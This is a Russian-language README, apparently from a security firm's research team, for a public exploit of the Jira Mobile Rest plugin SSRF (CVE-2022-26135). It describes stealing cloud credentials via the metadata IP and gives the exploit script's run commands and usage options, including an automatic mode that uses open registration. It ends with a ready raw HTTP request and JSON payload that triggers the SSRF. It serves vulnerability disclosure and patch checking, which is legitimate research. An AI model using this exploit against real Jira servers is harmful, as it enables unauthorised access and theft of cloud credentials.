
Эксплойт-код для Jira Mobile Rest Plugin SSRF (CVE-2022-26135)
Assetnote автоматически сопоставляет ваши внешние активы и отслеживает их изменения и проблемы безопасности, чтобы помочь предотвратить серьезные взломы.
Это исследование было выполнено командой Security Research компании Assetnote.
Вы можете узнать больше о нашем продукте и нашей команде на https://assetnote.io.
Запись в блоге с подробным описанием шагов, предпринятых для обнаружения этой уязвимости, можно найти здесь.
Jira Core и Jira Service Desk подвержены уязвимости межсерверной подделки запросов (SSRF) после аутентификации. В некоторых случаях можно использовать открытую регистрацию в Jira Core или Jira Service Desk, чтобы эксплуатировать эту уязвимость SSRF без известных учетных данных.
Уязвимость SSRF позволяет злоумышленникам отправлять HTTP-запросы с любым HTTP-методом, заголовками и телом на произвольные URL-адреса. Когда Jira развернута в облачной среде, злоумышленник может использовать эту цепочку эксплойтов для получения облачных учетных данных или другой конфиденциальной информации через IP-адрес метаданных.
В соответствии с рекомендациями Atlassian, пожалуйста, ознакомьтесь со следующей статьей базы знаний, чтобы подтвердить, используете ли вы затронутую версию программного обеспечения: https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
pip3 install -r requirements.txt
а затем вы можете использовать эксплойт с помощью:
python3 exploit.py
Справка:
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. [email protected] - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode
Если у вас уже есть учетные данные для Jira / Jira Service Desk, установите параметр --mode в значение manual, а аргумент --software — в jira или jsd.
Следующий HTTP-запрос можно использовать для воспроизведения этой проблемы после аутентификации в экземпляре Jira:
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
{"requests":[{"method":"GET","location":"@example.com"}]}